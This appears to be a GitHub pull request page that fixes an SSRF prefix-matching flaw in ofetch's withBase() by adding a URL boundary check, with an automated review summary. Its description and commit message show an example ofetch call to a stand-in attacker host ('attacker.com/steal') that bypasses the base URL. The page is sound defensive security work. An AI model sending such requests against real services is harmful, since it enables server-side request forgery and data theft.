Skip to content

fix: enforce host boundary in withBase to prevent SSRF via prefix attack#568

Open
Yanhu007 wants to merge 1 commit intounjs:mainfrom
Yanhu007:fix/ssrf-base-url-boundary-check
Open

fix: enforce host boundary in withBase to prevent SSRF via prefix attack#568
Yanhu007 wants to merge 1 commit intounjs:mainfrom
Yanhu007:fix/ssrf-base-url-boundary-check

Conversation

@Yanhu007
Copy link
Copy Markdown

@Yanhu007 Yanhu007 commented Apr 12, 2026

Summary

Fixes #564

withBase() uses startsWith() to check if the input URL already contains the base URL. This allows SSRF via prefix attacks:

// baseURL = 'http://api.internal'
await ofetch('http://api.internal.attacker.com/steal', {
  baseURL: 'http://api.internal'
});
// → Fetches http://api.internal.attacker.com/steal
//   completely bypassing base URL enforcement

Fix

After the startsWith match, verify the next character is a valid URL boundary (/, ?, #, or end-of-string). This prevents hostname suffix attacks.

Input Before After
http://api.internal.attacker.com/steal ✅ returned as-is (SSRF!) ❌ safely joined with base
http://api.internal/users ✅ returned as-is ✅ returned as-is
http://api.internal?foo=bar ✅ returned as-is ✅ returned as-is
/users ✅ joined ✅ joined

Summary by CodeRabbit

  • Bug Fixes
    • Improved URL base path resolution to properly validate boundary conditions, preventing incorrect URL concatenation when input already contains the base URL as a partial match.

withBase() uses startsWith() to check if the input URL already
contains the base URL. However, startsWith() does not enforce host
boundaries, allowing an attacker to bypass the base URL:

  // baseURL = 'http://api.internal'
  // input = 'http://api.internal.attacker.com/steal'
  // startsWith matches → input returned as-is → SSRF

Add a boundary check after the startsWith match: the character
following the base URL must be '/', '?', '#', or end-of-string.
This prevents prefix attacks where the attacker appends a suffix
to the hostname.

Fixes unjs#564
@coderabbitai
Copy link
Copy Markdown

coderabbitai bot commented Apr 12, 2026

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 8466a718-d3ce-43a1-87fa-17b2ca8017b0

📥 Commits

Reviewing files that changed from the base of the PR and between dfbe3ca and 6856b48.

📒 Files selected for processing (1)
  • src/utils.url.ts

📝 Walkthrough

Walkthrough

The withBase() function in src/utils/url.ts was updated to enforce URL boundary validation. The function now verifies that if the input starts with the normalized base, the character immediately following must be absent, /, ?, or # to qualify as a valid boundary match.

Changes

Cohort / File(s) Summary
URL Boundary Validation
src/utils/url.ts
Added boundary character check to withBase() function to prevent URL prefix matching at non-boundary positions, strengthening validation against URL bypass attacks.

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Poem

🐰 A tiny fix, but oh so keen,
A boundary guard stands in between,
No sneaky suffixes shall pass today,
The URL path is locked and saved!
Security hops, the rabbit's way! 🔐

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title directly and concisely describes the main fix: enforcing host boundary in withBase to prevent SSRF via prefix attack, matching the primary change in the PR.
Linked Issues check ✅ Passed The code changes fully implement the suggested fix from issue #564: adding boundary check to ensure the character after the matched base is '/', '?', '#', or end-of-string.
Out of Scope Changes check ✅ Passed All changes are directly related to fixing the SSRF vulnerability in withBase(); no unrelated or out-of-scope modifications were introduced.
Docstring Coverage ✅ Passed Docstring coverage is 100.00% which is sufficient. The required threshold is 80.00%.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

SSRF via Unconstrained baseURL + Open Redirect

1 participant